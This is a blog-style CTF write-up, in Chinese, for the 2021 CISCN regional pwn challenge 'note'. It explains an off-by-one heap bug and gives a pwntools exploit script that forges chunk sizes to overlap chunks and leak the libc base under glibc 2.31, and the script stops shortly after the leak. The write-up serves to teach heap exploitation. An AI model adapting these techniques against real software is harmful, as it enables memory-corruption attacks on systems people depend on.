2021 ciscn 华中赛区分区赛 pwn note

在这里插入图片描述libc 2.31

在这里插入图片描述
保护是都拉上的。

刚开始有个花指令,通过一定的调整,再反汇编,就得到了正确的结果。
在这里插入图片描述可以看到除了必要的初始化setbuf之外还将4050的地方清空了。
后面我们会看到4050就是存放地址的地方。

add
在这里插入图片描述看一下content的输入
在这里插入图片描述很明显的off by one。

整体结构还是比较清晰的,最多申请三个chunk。

free
在这里插入图片描述清理的很干净。

show
在这里插入图片描述
show也是正常泄露。

很明显的off by one,我们的常规思路也就是overlap或者unlink。
因为这里泄露不了基地址,所以我门还是要去overlap。

我们先要获取libc地址,因为程序用的是calloc,申请chunk不会从tcache链中拿,所以我们可以重复申请释放,来获得unsorted bin chunk。

exp

# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"

r = process("./note")

elf = ELF("./note")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")

def add(choice, content):
    r.sendlineafter("Your choice:\n", "1")
    r.sendlineafter("2.Large.\n", str(choice))
    r.sendafter("Content:\n", content)

def delete(index):
    r.sendlineafter("Your choice:\n", "2")
    r.sendlineafter("Index:\n", str(index))

def show(index):
    r.sendlineafter("Your choice:\n", "3")
    r.sendlineafter("Index:\n", str(index))

for i in range(7):
    add(2, "aaaa\n")
    delete(0)

for i in range(7):
    add(1, "bbbb\n")
    delete(0)

add(1, "aaaa\n") #0
add(1, "aaaa\n") #1
add(2, 'a' * 0x78 + p64(0x71) + '\n') #2

delete(1) 
add(1, 'a' * 0x68 + '\x81') #1
delete(0)
add(1, 'a' * 0x68 + '\xf1') #0

#gdb.attach(r)

delete(1)
add(1, "aaaa\n") #1

show(2)
malloc_hook = (u64(r.recv(6).ljust(8, "\x00")) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
print "libc_base = " + hex(libc_base)

gdb.attach(r)

delete(1)
add(1, "a" * 0x68 + '\x71')

r.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值